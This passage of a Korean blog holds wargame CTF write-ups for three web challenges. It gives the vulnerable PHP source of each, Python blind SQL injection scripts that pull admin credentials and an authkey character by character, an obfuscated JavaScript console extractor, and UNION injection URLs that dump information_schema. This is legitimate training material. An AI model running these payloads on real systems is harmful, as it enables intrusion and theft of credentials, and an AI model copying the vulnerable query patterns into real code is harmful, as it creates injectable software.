for j in range(32,127):
   data = "if((select substr(column_name,{},1) from information_schema.columns where table_name=0x{} limit {},1)={},15078,1)".format(i,"admin_table".encode('hex'),k,hex(j))
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "COLUMN NAME FOUND: {}".format(chr(j))

for i in range(1,50):
for j in range(32,127):
   data = "if((select substr(id,{},1) from admin_table)={},15078,1)".format(i,hex(j))
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "ID FOUND: {}".format(chr(j))


for i in range(1,50):
for j in range(32,127):
   data = "if((select substr(ps,{},1) from admin_table)={},15078,1)".format(i,hex(j))
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "PS FOUND: {}".format(chr(j))


2016/06/13 17:32 2016/06/13 17:32
Blind SQLi challenge.

Can you SQLi with 'order by' in expression?


<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>


sort 는 escape되고 있는데 뭔갈 할 수 있을까?
찾아보니 order by 에 취약점 비슷한게 있다. 블라인드 시도때 한정된것이긴한데, 이런 문법이 가능하다

order by column, (1....)


이때 값이 0이 들어가면 정렬되지 않고, 리턴되지도 않지만 1이상이면 값이 표시된다. 즉, 블라인드 인젝션이 available하다는 말이다.
우리가 긁어야할 컬럼은 소스에도 나와 있듯이 authkey 여서 많은 일을 할 필요는 없다. 그래서 쿼리를 이렇게 짜보았다.

,IF((SELECT substr(authkey,1,1) FROM authkey limit 1,1)=0x20,1,0)



그치만 안된다. 왜지? ㅡㅡ
IF로만 돌려보면 제대로 값이 반환되는듯 보이지만 풀 쿼리로 돌려보면 돌아가진 않는다.
아무래도 쿼리 자체를 부정하는수밖에 없을것 같다. 그래서 좀 바꿔봤다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

pw = ''
for i in range(30,50):
    for j in range(48,91):
        data = ",(select 1 from guys_tbl,authkey where 1=1 and substr(authkey,{},1)={})".format(i,hex(j))
        data = urllib.quote(data)

        req = urllib2.Request("http://wargame.kr:8080/lonely_guys/index.php", "sort=" + data, headers)
        response = urllib2.urlopen(req)
        if len(response.read()) < 1518:
            print chr(j)
            pw = pw + chr(j)
        time.sleep(0.1)
print pw


문제는 이래도 중간중간 다운이 되서.. 세번쯤 돌린것 같다.
쿼리를... 잘 짜야한다... 잘.......... 한시간 반 넘게 이래저래 해본다고 삽질한것 같다...ㅠㅠ

위 python code가 싫다면
흑마술이라고 부르는 다음 js를 콘솔창을 열고 입력해봐도 좋다

(function(){function a(b,c){var a=", (SELECT 1 UNION SELECT IF(ORD(SUBSTRING(authkey,{},1))={},1,0) FROM authkey)".replace("{}",b).replace("{}",f[c].charCodeAt(0));$.post("",{sort:a},function(d){if(h.test(d)&&(e[b]=f[c],40===Object.keys(e).length)){d=Object.keys(e);for(var a="",g=0;g<d.length;g++)a+=e[d[g]];console.log(a)}})}var e={},f="0123456789abcdef".split(""),h=RegExp("jacob","ig");(function(){for(var b=0;40>b;b++)for(var c=0;c<f.length;c++)a(b+1,c)})()})();
2016/06/13 03:04 2016/06/13 03:04
SQL injection Challenge!
(injection)

- thx to dmbs335


다른 출제자가 낸 문제인가보다.
게시판이 하나 있는데 클릭이 안된다. 커서가 바뀌길래 클릭되는줄알았는데..

<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("../lib.php");
include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />



또 처음보는 php function이 있는데 parsestr이다.
찾아보니까 쿼리 스트링을 그대로 변수화해주는것 같다.

w3c에 있는 예시는 이렇다

<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>



코드를 잘보면 keyword는 addslash가 되고 있고 cols는 regex되고 있다. 웃긴게 리스트에 없는걸 넣으면 ''가 되서 정말 아무거나 넣으라고 광고해주는거 같다..그리고 query_parts는 따로 뭐가 없다. 이것만 이용하면 blind injection을 할 수 있을 것 같다.

다음과 같이 쿼리를 날려보니 injection이 가능함을 알게 되었다

http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%201,2,3,4%20#



이제 information_schema를 들쑤셔보자. 요건 simple board에서 쓴 쿼리 거의 그대로 사용했다.

http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%20table_schema,table_name,3,4%20FROM%20information_Schema.tables#


그러면 이렇게 마주하게 된다




쭉 내려가보면 목표 테이블이 보이고, column 까지 조회해서 select하면된다.
갑자기 쉬운문제라 편하게 풀었던거같다


2016/06/13 02:05 2016/06/13 02:05